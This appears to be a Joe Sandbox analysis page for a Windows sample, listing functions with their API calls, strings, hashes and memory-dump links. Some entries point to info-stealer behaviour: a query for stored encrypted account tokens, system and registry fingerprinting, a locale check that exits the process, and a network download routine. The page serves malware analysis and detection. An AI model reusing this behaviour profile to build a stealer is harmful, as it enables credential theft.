Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 9278b3981043cac3a68f7ebb3e08a50d8c67485b1f8e75a07a4e1deb7b2d21cb
Instruction ID: 3c51e9cdb52a3b4134136bdb5b81dfcd13fdb927a7259aa7e987a337a20ff8b5
Opcode Fuzzy Hash: 9278b3981043cac3a68f7ebb3e08a50d8c67485b1f8e75a07a4e1deb7b2d21cb
Instruction Fuzzy Hash: CAB11F769101189BDB04FBA0ED96FEE733DAF94300F404568F506B7096EF346A49CBA6

Function 00926770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00926774
ExitProcess.KERNEL32 ref: 009267A5
ExitProcess.KERNEL32 ref: 009267AF
ExitProcess.KERNEL32 ref: 009267B9
ExitProcess.KERNEL32 ref: 009267C3
ExitProcess.KERNEL32 ref: 009267CD

Strings

*, xrefs: 0092678C

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: a4cf0537ff5dca658b5be21a54ae98922fa096b8cd3a29386fda724568e7e9f1
Instruction ID: 3c78edfea26c59d734225bb960f3449e5e79bd03828ab1ced10eb525945afd0c
Opcode Fuzzy Hash: a4cf0537ff5dca658b5be21a54ae98922fa096b8cd3a29386fda724568e7e9f1
Instruction Fuzzy Hash: FEF05830908399EFD344AFE0E909B2CBF74FB08703F0402D8E609A7690EA705F419B96

Function 00914FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00914FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00914FD1
InternetOpenA.WININET(00930DDF,00000000,00000000,00000000,00000000), ref: 00914FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00915011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00915041
InternetCloseHandle.WININET(?), ref: 009150B9
InternetCloseHandle.WININET(?), ref: 009150C6

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 2e54e49c35aa63557f972693322560a751f8571213cc94c43b6e6bfc47895ec0
Instruction ID: c457839a0055d04b3e07c23f0b3590f04640912a1f8386b4d42d165e487f37ff
Opcode Fuzzy Hash: 2e54e49c35aa63557f972693322560a751f8571213cc94c43b6e6bfc47895ec0
Instruction Fuzzy Hash: 4A31E6B4A00218EBDB20CF94DC85BDDB7B4EB48705F5081D9EA09B7281DB746EC58F99

Function 00928100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0104FDC8,00000000,?,00930E2C,00000000,?,00000000), ref: 00928130
RtlAllocateHeap.NTDLL(00000000), ref: 00928137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00928158
wsprintfA.USER32 ref: 009281AC

Strings

%d MB, xrefs: 009281A3
@, xrefs: 0092814D

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 245ced5b20bc54ee998f254ad3f215e7fdedfab6a5c781c5d324848ec585b404
Instruction ID: 3ce7f2e618f87c28c0a59267513e8a838ea814e13cadd934e54ebdc8ab6693ce
Opcode Fuzzy Hash: 245ced5b20bc54ee998f254ad3f215e7fdedfab6a5c781c5d324848ec585b404
Instruction Fuzzy Hash: FC21FCB1945218ABDB00DFD4DC49FAFB7B8FB44715F104609F605BB284DB7859018BA5

Function 009283DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00928426
wsprintfA.USER32 ref: 00928459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0092847B
RegCloseKey.ADVAPI32(00000000), ref: 0092848C
RegCloseKey.ADVAPI32(00000000), ref: 00928499

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

RegQueryValueExA.ADVAPI32(00000000,01050038,00000000,000F003F,?,00000400), ref: 009284EC
lstrlen.KERNEL32(?), ref: 00928501
RegQueryValueExA.ADVAPI32(00000000,0104FFF0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00930B34), ref: 00928599
RegCloseKey.ADVAPI32(00000000), ref: 00928608
RegCloseKey.ADVAPI32(00000000), ref: 0092861A

Strings

%s\%s, xrefs: 0092844D

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 25e6de623eede54569204b696e3ac1bdb3cfc7f6ceb08771526e826b8f368cef
Instruction ID: 2bc31df3598b4c3253c38e3aec46fc34f3a3242664f43d265291cac188a6283e
Opcode Fuzzy Hash: 25e6de623eede54569204b696e3ac1bdb3cfc7f6ceb08771526e826b8f368cef
Instruction Fuzzy Hash: 7721F6B1910228ABDB24DB54DC85FE9B7B8FB48701F0086D8E609A6180DE716A85CF94

Function 00927690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009276A4
RtlAllocateHeap.NTDLL(00000000), ref: 009276AB
RegOpenKeyExA.ADVAPI32(80000002,0103D158,00000000,00020119,00000000), ref: 009276DD
RegQueryValueExA.ADVAPI32(00000000,0104FFA8,00000000,00000000,?,000000FF), ref: 009276FE
RegCloseKey.ADVAPI32(00000000), ref: 00927708

Strings

Windows 11, xrefs: 009276BD

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 760ce3c3c43105e33fb521fa81fc5bc713520a8a366f1ab323c91731ea62e6bc
Instruction ID: 295b56314a6c16f230fac185b47ee8f7867d1285545750b30fd361e040042740
Opcode Fuzzy Hash: 760ce3c3c43105e33fb521fa81fc5bc713520a8a366f1ab323c91731ea62e6bc
Instruction Fuzzy Hash: B5014FB5A04308BFDB00DBE4EC59F6DB7BCEB48702F104594FA04B7294EA7499048F51

Function 00927720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00927734
RtlAllocateHeap.NTDLL(00000000), ref: 0092773B
RegOpenKeyExA.ADVAPI32(80000002,0103D158,00000000,00020119,009276B9), ref: 0092775B
RegQueryValueExA.ADVAPI32(009276B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0092777A
RegCloseKey.ADVAPI32(009276B9), ref: 00927784

Strings

CurrentBuildNumber, xrefs: 00927771

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: c2fc9a4bb455959c46b05355c665d1d35bccdf1c9382bcbf6219c8147798063e
Instruction ID: 64b37819ded1e9115482bbd54286d34381d3acfc3e876cb881c505ce9a7ed216
Opcode Fuzzy Hash: c2fc9a4bb455959c46b05355c665d1d35bccdf1c9382bcbf6219c8147798063e
Instruction Fuzzy Hash: 0601F4B5A40308BFD700DBE4DC49FAEB7B8EB48705F104695FA05B7281DA7059408F51

Function 009240B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009240D5
RegOpenKeyExA.ADVAPI32(80000001,0104F8C0,00000000,00020119,?), ref: 009240F4
RegQueryValueExA.ADVAPI32(?,01050230,00000000,00000000,00000000,000000FF), ref: 00924118
RegCloseKey.ADVAPI32(?), ref: 00924122
lstrcat.KERNEL32(?,00000000), ref: 00924147
lstrcat.KERNEL32(?,010500E0), ref: 0092415B

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 8af9770a1a12d8f191822f7f30cbf12085384ef07fbb323c70e4e25b4b1d5633
Instruction ID: f6ad910a75ef1c272c20282cca9718f7b528261db83c42ee5a854704c2de1b8c
Opcode Fuzzy Hash: 8af9770a1a12d8f191822f7f30cbf12085384ef07fbb323c70e4e25b4b1d5633
Instruction Fuzzy Hash: 68418BB6D1020C6BDB14EBA0EC56FFE773DAB8C300F004598B71657185EE755B888B92

Function 009199C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009199EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00919A11
LocalAlloc.KERNEL32(00000040,?), ref: 00919A31
ReadFile.KERNEL32(000000FF,?,00000000,0091148F,00000000), ref: 00919A5A
LocalFree.KERNEL32(0091148F), ref: 00919A90
CloseHandle.KERNEL32(000000FF), ref: 00919A9A

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 9f94b449426ccb0d70c7fe8dd0f5833ef47ff40275afc434ef870bf2c4261fd1
Instruction ID: ecb4b1cbc255769e876f2461688dc3d8e438ef5d75e75d7664faa234bd991594
Opcode Fuzzy Hash: 9f94b449426ccb0d70c7fe8dd0f5833ef47ff40275afc434ef870bf2c4261fd1
Instruction Fuzzy Hash: 17312A74A00209EFDB14CF94D895BEE77B9FF48301F108198E901A7290DB75A985CFA1

Function 0092C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0092C8BF
___crtGetStringTypeA.LIBCMT ref: 0092C8EC
___crtLCMapStringA.LIBCMT ref: 0092C90C
___crtLCMapStringA.LIBCMT ref: 0092C931

Strings

, xrefs: 0092C896

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 752ec40b3d7e58f61c83b083da4ad3a40eab58307d02e1172123830afdb15f03
Instruction ID: fe202ce327b00ed975f5692ca775184f756997d81929f2656b53c005906f77e3
Opcode Fuzzy Hash: 752ec40b3d7e58f61c83b083da4ad3a40eab58307d02e1172123830afdb15f03
Instruction Fuzzy Hash: E341F6F51007AC5FDB218B24AC84FFFBBEC9F45704F1444E8E98A86186D2719A848F60

Function 00924780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,010502F0), ref: 009247DB

Part of subcall function 00928DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00928E0B

lstrcat.KERNEL32(?,00000000), ref: 00924801
lstrcat.KERNEL32(?,?), ref: 00924820
lstrcat.KERNEL32(?,?), ref: 00924834
lstrcat.KERNEL32(?,0103C748), ref: 00924847
lstrcat.KERNEL32(?,?), ref: 0092485B
lstrcat.KERNEL32(?,0104F5E0), ref: 0092486F

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 00928D90: GetFileAttributesA.KERNEL32(00000000,?,00911B54,?,?,0093564C,?,?,00930E1F), ref: 00928D9F

Part of subcall function 00924570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00924580
Part of subcall function 00924570: RtlAllocateHeap.NTDLL(00000000), ref: 00924587
Part of subcall function 00924570: wsprintfA.USER32 ref: 009245A6
Part of subcall function 00924570: FindFirstFileA.KERNEL32(?,?), ref: 009245BD

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

